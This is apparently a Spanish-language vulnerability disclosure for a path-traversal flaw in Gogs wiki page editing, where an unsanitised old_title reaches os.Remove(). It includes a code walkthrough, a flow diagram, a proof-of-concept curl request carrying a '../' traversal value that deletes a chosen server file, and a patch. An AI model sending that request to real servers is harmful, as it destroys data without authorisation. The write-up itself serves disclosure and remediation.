// internal/database/wiki.go

// Línea 105: El nuevo título SÍ se sanitiza
title = ToWikiPageName(title)
filename := path.Join(localPath, title+".md")

// Líneas 113-115: El título antiguo NO se sanitiza antes de os.Remove()
} else {
    os.Remove(path.Join(localPath, oldTitle+".md"))  // ← VULNERABLE
}

Entrada del Usuario (Formulario)  Manejador de Ruta                  Función de Base de Datos
┌─────────────────┐               ┌─────────────────────┐             ┌──────────────────────────┐
│ f.OldTitle      │──────────────>│ EditWikiPost()      │──────────>│ updateWikiPage()         │
│ (sin sanitizar) │               │ wiki.go:246         │             │                          │
└─────────────────┘               │                     │             │ Línea 114:               │
                                  │ ¡Sin sanitización! │             │ os.Remove(path.Join(     │
                                  │                     │             │   localPath,             │
                                  └─────────────────────┘             │   oldTitle+".md"))       │
                                                                      └──────────────────────────┘

# Paso 1: Autentícate y crea/edita una página del wiki
# Paso 2: Intercepta la solicitud POST e inyecta traversal en old_title

curl -X POST "https://gogs.ejemplo.com/usuario/repo/wiki/TestPage?action=_edit" \
  -H "Cookie: i_like_gogs=<session_cookie>" \
  -d "old_title=../../../../../../../tmp/archivo_objetivo" \
  -d "title=TestPage" \
  -d "content=test" \
  -d "message=test"

# Resultado: /tmp/archivo_objetivo.md se elimina del servidor

 func (r *Repository) updateWikiPage(doer *User, oldTitle, title, content, message string, isNew bool) (err error) {
     // ... código existente ...

     title = ToWikiPageName(title)

+    // Sanitizar oldTitle para evitar path traversal
+    if oldTitle != "" {
+        oldTitle = ToWikiPageName(oldTitle)
+    }

     filename := path.Join(localPath, title+".md")
     // ...
 }